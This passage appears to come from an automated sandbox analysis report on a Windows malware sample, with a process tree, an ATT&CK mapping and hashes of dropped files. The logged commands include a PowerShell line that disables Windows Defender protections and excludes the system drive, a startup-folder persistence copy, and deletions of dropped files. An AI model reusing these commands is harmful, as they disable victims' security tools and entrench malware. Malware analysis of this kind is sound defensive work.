      PID:2116
    - - C:\Windows\system32\ipconfig.exe
        
        "C:\Windows\system32\ipconfig.exe" /release
        5⤵
        Gathers network information
        
        PID:4336
    - - C:\Windows\system32\ipconfig.exe
        
        "C:\Windows\system32\ipconfig.exe" /renew
        5⤵
        Gathers network information
        
        PID:2320
    - - C:\Windows\system32\netsh.exe
        
        "C:\Windows\system32\netsh.exe" winsock reset
        5⤵
        Event Triggered Execution: Netsh Helper DLL
        
        PID:4592
    - - C:\Windows\system32\netsh.exe
        
        "C:\Windows\system32\netsh.exe" int ip reset
        5⤵
        Event Triggered Execution: Netsh Helper DLL
        
        PID:3020
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy bypass -File C:\Users\Public\hnqqx_01.ps1
        5⤵
        Badlisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:5008
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\admin\appdata\local\temp\a0021120001100521101.js"
        6⤵
        Executes a command shell one-liner
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:5304
        
        C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:632
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\admin\appdata\local\temp\broadcastmsg_1783607662.txt"
        6⤵
        Executes a command shell one-liner
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:2532
        
        C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:2604
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\admin\appdata\local\temp\dd_ndp472-kb4054530-x86-x64-allos-enu_decompression_log.txt"
        6⤵
        Executes a command shell one-liner
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:5484
        
        C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:4996
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\admin\appdata\local\temp\dd_vcredistmsi79c5.txt"
        6⤵
        Executes a command shell one-liner
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:5648
        
        C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:6072
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\admin\appdata\local\temp\dd_vcredistmsi79f0.txt"
        6⤵
        Executes a command shell one-liner
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:1772
        
        C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:2388
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\admin\appdata\local\temp\dd_vcredistui79c5.txt"
        6⤵
        Executes a command shell one-liner
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:4696
        
        C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:5780
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\admin\appdata\local\temp\dd_vcredistui79f0.txt"
        6⤵
        Executes a command shell one-liner
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:3340
        
        C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:4984
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\public\hjvtg.txt"
        6⤵
        Executes a command shell one-liner
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:4700
        
        C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:2256
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\public\hnqqx_01.ps1"
        6⤵
        Executes a command shell one-liner
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:716
        
        C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:4252
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\public\hwnxs.ps1"
        6⤵
        Executes a command shell one-liner
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:2376
        
        C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:2516
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\public\pfdcz.txt"
        6⤵
        Executes a command shell one-liner
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:4800
        
        C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:2556
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & del "c:\users\public\zlnhf.js"
        6⤵
        Executes a command shell one-liner
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:1608
        
        C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:680
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -ExecutionPolicy Bypass Set-MpPreference -DisableRealtimeMonitoring $true;Set-MpPreference -DisableIntrusiovnPreventionSystem $true;Set-MpPreference -MAPSReporting 0;Set-MpPreference -SubmitSamplesConsent 2;Add-MpPreference -ExclusionPath $env:SystemDrive\ ;
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4372
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & copy "C:\Users\Public\zlnhf.js" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\zlnhf.js"
        6⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:3240
        
        C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:5560
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n C:\Users\Public\zlnhf.js & del "1"
        6⤵
        Executes a command shell one-liner
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:2720
        
        C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n C:\Users\Public\zlnhf.js
        7⤵
        Runs ping.exe
        
        PID:5128
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c del "C:\Users\Public\zlnhf.js"
        6⤵
        
        PID:4644
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & copy "C:\Users\Public\zlnhf.js" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\zlnhf.js"
        6⤵
        Executes a command shell one-liner
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:4888
        
        C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:5280
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n C:\Users\Public\zlnhf.js & del "1"
        6⤵
        Executes a command shell one-liner
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:2444
        
        C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n C:\Users\Public\zlnhf.js
        7⤵
        Runs ping.exe
        
        PID:2248
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c del "C:\Users\Public\zlnhf.js"
        6⤵
        
        PID:1764
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & copy "C:\Users\Public\zlnhf.js" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\zlnhf.js"
        6⤵
        Executes a command shell one-liner
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:2568
        
        C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:5156
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n C:\Users\Public\zlnhf.js & del "1"
        6⤵
        Executes a command shell one-liner
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:4556
        
        C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n C:\Users\Public\zlnhf.js
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:3468
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c del "C:\Users\Public\zlnhf.js"
        6⤵
        
        PID:2820
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & copy "C:\Users\Public\zlnhf.js" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\zlnhf.js"
        6⤵
        Executes a command shell one-liner
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:844
        
        C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:6116
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n C:\Users\Public\zlnhf.js & del "1"
        6⤵
        Executes a command shell one-liner
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:3264
        
        C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n C:\Users\Public\zlnhf.js
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:3392
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c del "C:\Users\Public\zlnhf.js"
        6⤵
        
        PID:5236
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & copy "C:\Users\Public\zlnhf.js" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\zlnhf.js"
        6⤵
        Executes a command shell one-liner
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:4920
        
        C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:1112
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n C:\Users\Public\zlnhf.js & del "1"
        6⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:2404
        
        C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n C:\Users\Public\zlnhf.js
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:2612
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c del "C:\Users\Public\zlnhf.js"
        6⤵
        
        PID:4612
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & copy "C:\Users\Public\zlnhf.js" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\zlnhf.js"
        6⤵
        Executes a command shell one-liner
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:1212
        
        C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:5764
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n C:\Users\Public\zlnhf.js & del "1"
        6⤵
        Executes a command shell one-liner
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of WriteProcessMemory
        
        PID:1636
        
        C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n C:\Users\Public\zlnhf.js
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:1448
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c del "C:\Users\Public\zlnhf.js"
        6⤵
        
        PID:3204
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & copy "C:\Users\Public\zlnhf.js" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\zlnhf.js"
        6⤵
        Executes a command shell one-liner
        System Network Configuration Discovery: Internet Connection Discovery
        
        PID:2288
        
        C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:1936
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n C:\Users\Public\zlnhf.js & del "1"
        6⤵
        Executes a command shell one-liner
        System Network Configuration Discovery: Internet Connection Discovery
        
        PID:4168
        
        C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n C:\Users\Public\zlnhf.js
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:236
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c del "C:\Users\Public\zlnhf.js"
        6⤵
        
        PID:2420
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & copy "C:\Users\Public\zlnhf.js" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\zlnhf.js"
        6⤵
        Executes a command shell one-liner
        System Network Configuration Discovery: Internet Connection Discovery
        
        PID:4996
        
        C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:564
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n C:\Users\Public\zlnhf.js & del "1"
        6⤵
        Executes a command shell one-liner
        System Network Configuration Discovery: Internet Connection Discovery
        
        PID:1624
        
        C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n C:\Users\Public\zlnhf.js
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:1780
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c del "C:\Users\Public\zlnhf.js"
        6⤵
        
        PID:1952
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & copy "C:\Users\Public\zlnhf.js" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\zlnhf.js"
        6⤵
        Executes a command shell one-liner
        System Network Configuration Discovery: Internet Connection Discovery
        
        PID:5612
        
        C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:4664
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n C:\Users\Public\zlnhf.js & del "1"
        6⤵
        Executes a command shell one-liner
        System Network Configuration Discovery: Internet Connection Discovery
        
        PID:5652
        
        C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n C:\Users\Public\zlnhf.js
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:4448
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c del "C:\Users\Public\zlnhf.js"
        6⤵
        
        PID:3116
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & copy "C:\Users\Public\zlnhf.js" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\zlnhf.js"
        6⤵
        Executes a command shell one-liner
        System Network Configuration Discovery: Internet Connection Discovery
        
        PID:3100
        
        C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:4320
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n C:\Users\Public\zlnhf.js & del "1"
        6⤵
        Executes a command shell one-liner
        System Network Configuration Discovery: Internet Connection Discovery
        
        PID:5380
        
        C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n C:\Users\Public\zlnhf.js
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:5960
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c del "C:\Users\Public\zlnhf.js"
        6⤵
        
        PID:2264
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n 1 & copy "C:\Users\Public\zlnhf.js" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\zlnhf.js"
        6⤵
        Executes a command shell one-liner
        System Network Configuration Discovery: Internet Connection Discovery
        
        PID:2340
        
        C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 1
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:4940
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c ping 127.0.0.1 -n C:\Users\Public\zlnhf.js & del "1"
        6⤵
        Executes a command shell one-liner
        System Network Configuration Discovery: Internet Connection Discovery
        
        PID:6028
        
        C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n C:\Users\Public\zlnhf.js
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:1272
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c del "C:\Users\Public\zlnhf.js"
        6⤵
        
        PID:5560

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Privilege Escalation

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

Indicator Removal

T1070

File Deletion

T1070.004

Credential Access

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 67KB
SHA256 96952b58e7507bfbf6b1edf838d41182ae4f94e983572fa0c037be46d4ab1b05
MD5 b65d38126d60f6776d0fee761697a8ab
SHA1 fce1b1fa5ee6c386768d73e767a6bf9a04c23b30
SHA512 100a082250af816628e48f6949a2068bada9998b7bd29fa7408af7fd8d4425d03c85b92e6e2e4c08dc55e6bb56b4f31aedeaf3f4ac201e80d2cdac77353c5dd6
SSDEEP 1536:mKLg0mYo2hOovpfKQVGflJdpHYWh4iUx9R40i71Yi9MQyPcMrxoi3jiRjdvRwa5Z:mKLg0mYo2hOovpfKQVGflJd9YWqiU9Rg
TLSH
T11C636192E9204E75E1A66F3EF15622627C30394690F8113211DC25EFA987D970B1FBFE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 67KB
SHA256 0f57c6ef4f062e398afd897db02f67d987e3e600973e8f450001f4e6d249b0fe
MD5 07eb30064ce437898674846e08a80887
SHA1 1e26e3ffc7c74016d094ec318f9a0ff94019fabe
SHA512 8a6d441cc00f74b63f40d24126774ee41ee620918cd20c4a5685ab4119d66dd45b7d55f78d6ac6c8be585bc06f66677a53ed9ceda520c59a6ed62bf2f4180530
SSDEEP 1536:mKLg0mYo2hOovpfKQVGflJdpHYWh4iUx9R40i71Yi9MQyPcMrxoV3CNBQkj2Va5Z:mKLg0mYo2hOovpfKQVGflJd9YWqiU9RF
TLSH
T137636192E9204E75E1A66F3EF15622627C30394690F8113211DC25EFA987D970B1FBFE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

__PSScriptPolicyTest_buoqr5ae.2a1.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_buoqr5ae.2a1.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

server.txt

Path C:\Users\Admin\server.txt
Size 1KB
SHA256 57f7e676a3a832f71eb642073af384dcececce561dd41bd25d5f58afdeefd24a
MD5 09369071119f1afefd6c02a6d20198fa
SHA1 bb89cc53a2223e050ec120a195410993a9bd4bb2
SHA512 4a9b1dad211658bd14260fdfde804afcf5c223b39d4dda30d8ad19e2d591a3415c93569c8d9ddb1eeb40710ffc5eb597d1a935f45faf16fefc2486a0bdd6c780
TLSH
T1BF31D322D21D4332DAE3B8B1D31EC25DCDB64604546198B2B4EC996EB5D409DC2EB3D1
MD5 SHA1 SHA512 TLSH

Submit Download

hjvtg.txt

Path C:\Users\Public\hjvtg.txt
Size 28.6MB
SHA256 f3a9f61017f15acd43edd95b3863332a51785c3a8f5bcbc98af19de5cb39702e
MD5 1213d3fa6a2ab175e7b1a97c9edac11e
SHA1 7c553a92c3180e9dec3fa9e0a2f6afb89c3cfdaf
SHA512 17b8a7fd41c1cc01bb018e6863bc5735ae1598619f5bbdba588f00a72e67b2d432d757a5ff33f287072b776cbffa60b35aaa8e53cfb4e6a0652cdce452fcc0a3
SSDEEP 3072:qLZdvdtEzVO9/wmu1HB+uXb21A/t2wG33ipTg2ZMPu7ijOzAzyGI9CdgOqFY7mXf:d
TLSH
T11767FD7DCEE8423EC277C929D9CA4A17F85A092B230CFD4A68D773A755271837CA211D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

hnqqx_01.ps1

Path C:\Users\Public\hnqqx_01.ps1
Size 1KB
SHA256 c35d4c338dfd9f013583d3a83e160495be39b7a2b84560b35685604e7d6af12f
MD5 c58fb70ccfc842ce458d7287ad7e17b3
SHA1 c44f2e43031d96302028a466c1bc62b678f824c3
SHA512 d8b46a1d9316a765f697b6accbb17254fdaccac69bfb4adbbf54ee2ea1e163861c18773f5540c81f0e5ad8b4787312b5ac44842b6567aab681b2bec2c6ceef7d
TLSH
T155312B5066E59608B1735E04A9BF6192893FBABD6E75CB4D0144C18E2BA1644CC7BF32
MD5 SHA1 SHA512 TLSH

Submit Download

hwnxs.ps1

Path C:\Users\Public\hwnxs.ps1
Size 6KB
SHA256 96f88edd66d518e62562d5e4a7e7e638051f4e686c22835de2be5725a6f79111
MD5 bf5a5714837ce0d07aba133098354b63
SHA1 af9ea167f985b263ce849c3142a7a0b3098744e8
SHA512 db328ce89e32fc943495ad7bba0be3a8d808c225da369f8dc69ae1c026cb3ae8944ba773ba262c51dd9d52167e94b834e1503c23a42f5cd7ad956a565b0b35c4
SSDEEP 192:8hwRy3FyGrlYxdbSfZxx2rFrvO/feTSjHPZMpW4:Ccy3fryKZxx6JvO/aSjHPZw
TLSH
T1DAE18B1157E59608B6F35A02EABFA051E93B796D6E36CA4D008DC04E07F3A40CC67F7A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

pfdcz.txt

Path \??\c:\users\public\pfdcz.txt
Size 120B
SHA256 32171e62889696a8d9eee553b8aeff5153cf293a7390ada2c23a88a6a014146f
MD5 f8cddfe7e08320b9c431dcaef8977cac
SHA1 2cb7d264523a747268c1bf549298dade36691449
SHA512 ad29e8473628a56d017435092dd41276b148c4e7d80e4de24b66ba118e2203550beec01c59a973068ab9c939600d1318286e702f4144dbac1e04d205a8657c6e
TLSH
T1BDB092A6A68BF0A81DA3189813E8D01984CB7AC76561C0986605C333BA005AAA211BAA
MD5 SHA1 SHA512 TLSH

Submit Download

memory/2996-0-0x0000019887130000-0x0000019887152000-memory.dmp

Download

memory/4372-26-0x0000024DD7100000-0x0000024DD711E000-memory.dmp

Download

memory/4372-27-0x0000024DD7120000-0x0000024DD71D2000-memory.dmp

Download

memory/4372-28-0x0000024DD73F0000-0x0000024DD73FA000-memory.dmp

Download

memory/5008-19-0x0000026D36140000-0x0000026D365EA000-memory.dmp

Download

memory/5008-20-0x0000026D1D0E0000-0x0000026D1D0E1000-memory.dmp

Download